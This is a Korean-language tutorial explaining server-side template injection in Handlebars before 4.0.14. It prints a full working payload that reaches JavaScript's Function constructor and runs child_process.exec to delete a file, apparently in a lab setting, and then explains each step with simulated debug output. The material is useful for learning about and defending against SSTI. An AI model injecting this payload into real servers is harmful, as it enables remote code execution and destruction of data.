Handlebars SSTI란?
Handlebars SSTI는 서버 측 템플릿 엔진인 Handlebars에서 발생할 수 있는 보안 취약점입니다. 이 취약점은 공격자가 서버에서 실행되는 코드를 주입할 수 있게 하여, 원하지 않는 명령어 실행이나 데이터 유출을 초래할 수 있습니다.
💡 이 취약점은 4.0.14 이전 버전에서만 발생합니다.
배경
SSTI
SSTI는 Server-Side Template Injection의 약자로, 템플릿 엔진에 악의적인 구문을 삽입하여 공격이 성공할 경우 RCE, LFI 등을 실행할 수 있습니다.
Handlebars
Handlebars는 Node.js 기반 프레임워크에서 사용되는 템플릿 엔진입니다.
Payload
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Payload Explain
1. "s" 문자열을 변수화
{{#with "s" as |string|}}
...
{{/with}}
{{#with ... as |alias|}}
는 Handlebars.js에서 제공하는 블록 헬퍼로, "s"라는 문자열을 string이라는 이름으로 변수화합니다. 이 변수는 이후 조작 대상이 됩니다.
[INFO] "s" 문자열이 string 변수로 할당됨
[DEBUG] string = "s"
2. split 객체를 conslist라는 변수로 할당
{{#with split as |conslist|}}
...
{{/with}}
split
은 JavaScript에서 문자열을 특정 구분자를 기준으로 나누는 메서드입니다. 이 템플릿에서는 이를 통해 리스트(배열)처럼 보이는 객체를 생성합니다. 생성된 리스트는 conslist
라는 이름으로 저장되며, 이후 객체 내부 메서드(push, pop)를 이용해 조작됩니다.
[INFO] split 객체가 conslist로 할당됨
[DEBUG] conslist 초기값 = []
3. pop 메서드 호출
{{this.pop}}
pop
메서드는 배열의 마지막 요소를 제거하고 반환합니다. 리스트가 비어있으므로 아무것도 하지 않음
[INFO] conslist에서 pop 메서드 호출
[DEBUG] conslist = []
4. constructor 객체에 접근
{{this.push (lookup string.sub "constructor")}}
lookup
는 특정 객체의 속성이나 메서드에 접근하는 헬퍼입니다. 여기서 string.sub
는 string 객체에서 sub 메서드를 참조한 것입니다. constructor
는 JavaScript의 모든 객체에 존재하는 기본 속성으로, 생성자 함수에 접근하는 데 사용됩니다. 결과적으로 이 코드는 JavaScript의 Function constructor를 참조하여 임의 코드 실행이 가능하게 만듭니다.
[INFO] string.sub 메서드의 constructor 속성 참조 시도
[DEBUG] constructor = [Function: Function]
[INFO] conslist에 constructor 참조 추가
[DEBUG] conslist = [[Function: Function]]
5. 시스템 명령어 정의
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
여기서 push를 통해 리스트에 시스템 명령어를 포함하는 문자열을 삽입합니다. 명령어 내용:
require('child_process')
는 Node.js에서 시스템 명령어를 실행할 수 있는 모듈을 로드합니다. .exec(...)
는 시스템 쉘 명령어를 실행하는 메서드로, 여기서는 서버에서 특정 파일(/home/carlos/morale.txt)을 삭제하는 명령어(rm)를 실행하려고 합니다.
[ACTION] string.split 호출로 codelist 생성.
[STATE] codelist = ["return require('child_process').exec('rm /home/carlos/morale.txt');"]
6. 템플릿 반복문 실행
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
#each
는 Handlebars.js에서 제공하는 반복문으로, 리스트(conslist)의 모든 요소를 순회합니다. string.sub.apply(0, codelist)
는 string.sub
가 문자열 메서드 Function을 참조한 것으로, apply
를 사용해 실행 시 인자를 리스트로 전달합니다. 이를 통해 조작된 codelist를 실행 컨텍스트에 적용하여 JavaScript 코드를 실행하려 합니다. 최종적으로 {{this}}
는 템플릿 내에서 현재 컨텍스트를 출력하거나 실행하는 데 사용됩니다.
[INFO] conslist 순회 시작 (현재 conslist는 빈 배열).
[ACTION] string.sub.apply 호출로 codelist 실행.
[EXECUTE] "require('child_process').exec('rm /home/carlos/morale.txt');" 실행.
공격자는 템플릿 엔진이 제공하는 헬퍼와 메서드 체인 조작 기능을 이용해 JavaScript의 Function constructor에 접근하고, 이를 통해 코드를 실행합니다.